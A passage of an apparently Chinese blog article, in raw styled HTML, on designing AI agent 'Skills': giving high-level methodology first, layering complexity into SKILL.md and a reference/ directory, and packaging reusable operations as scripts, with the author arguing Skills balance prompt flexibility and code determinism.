data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 20px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">a. 先给粗颗粒度的方法论</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在深入细节之前，先用高度概括的语言描述完成任务的整体框架和核心思想。这就像是先给出一张地图的总览，让 AI 对整个旅程有一个宏观的认识。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">为什么重要？</span></strong><span leaf=""> 这为 AI 的规划（Planning）阶段提供了关键的“锚点”。AI 可以基于这个宏观框架来组织自己的思考和行动步骤，而不是一开始就陷入细节的泥潭。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">好处是什么？</span></strong><span leaf=""> 提高了任务执行的鲁棒性。即使在某个具体步骤上遇到困难，AI 也可以随时回溯到这个宏观框架，重新寻找路径，而不至于完全“迷路”。</span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">docs</span></code><span leaf=""> 和 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pdfs</span></code><span leaf=""> Skill 中的“四段式工作流”就是绝佳的例子。</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 20px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">b. 复杂度分层与外部化</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当任务复杂度提升时，好的设计是将不同的知识点进行分层和隔离。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">中等复杂度：分段叙述</span></strong><span leaf="">。将不同的主题（如公式、格式、引用）拆分成独立的段落或章节。</span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">spreadsheets</span></code><span leaf=""> Skill 对规则的模块化处理就是最好的示范。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">极高复杂度：引用外部化</span></strong><span leaf="">。如果某个步骤或知识点本身就极其复杂（例如，一份完整的 API 文档、详细的金融模型构建指南），就不应将其全部堆砌在 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">SKILL.md</span></code><span leaf=""> 中，而是应该将其存放在 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">reference/</span></code><span leaf=""> 目录下，并在主文档中通过链接进行锚点引用。</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">实践建议</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">将 </span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">SKILL.md</span></code><span leaf=""> 想象成一本教科书的主目录和核心章节。它应该清晰地勾勒出知识的全貌，并引导读者（AI）在需要时去查阅更详细的附录（</span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">reference/</span></code><span leaf="">）。这既保持了主干的清晰，又保证了细节的完备。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">3. 脚本固化 Scripts/目录：将最佳实践代码化</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当一个操作可以被清晰地定义、可以被反复使用、且对稳定性要求很高时，就应该毫不犹豫地将其固化为脚本。</span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">spreadsheets</span></code><span leaf=""> Skill 中的 </span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">examples/</span></code><span leaf=""> 目录提供了大量的 Python 脚本，这带来了几个显而易见的好处：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">可靠性</span></strong><span leaf="">：脚本是经过测试和验证的，比模型即时生成的代码更不容易出错。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">效率</span></strong><span leaf="">：AI 无需从零开始编写代码，可以直接调用或借鉴，大大缩短了任务时间。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">最佳实践的“活文档”</span></strong><span leaf="">：这些脚本本身就是最佳实践的载体。AI 通过阅读这些代码，就能学会如何正确地使用相关工具库。</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">实践建议</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在开发 Skill 的过程中，时刻保持对“可复用性”的敏感。当你发现自己在反复向 AI 解释同一个操作、或者反复修正同一类代码错误时，就是一个明确的信号：是时候将这个操作封装成一个脚本了。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">在代码与提示词之间寻找平衡</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">回到我们最初的问题。总有人认为，Skill 只是一个被过度炒作（Hype）的概念，是提示词工程的又一次包装。但通过对 OpenAI 内部实践的观察，笔者认为并非如此。 Skill 代表了一种在大型语言模型时代，组织和分发“可执行知识”的全新范式。它巧妙地在提示词的灵活性与传统代码的确定性之间，找到了一个极具潜力的平衡点。 笔者认为，Skill 的真正价值体现在三个层面：</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">渐进式加载，有效缓解上下文过载</span></strong><span leaf="">：Skill 的设计天然支持“按需加载”。模型可以先只读取精简的元信息和方法论主干，仅在需要时才深入到具体的参考文件或脚本中。这极大地缓解了当前大模型最头疼的上下文窗口（Context Window）压力问题。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">灵活性与确定性的融合</span></strong><span leaf="">：Skill 允许我们将任务中最具创造性和灵活性的部分（如整体规划、风格决策）保留为自然语言描述的提示词，同时将那些需要高精度和确定性的部分（如文件渲染、公式计算）固化为可靠的代码。这种“软硬结合”的方式，取长补短，让 AI 既能“思考”，又能“执行”。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">惊人的分发优势</span></strong><span leaf="">：一个 Skill 本质上只是一个包含 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 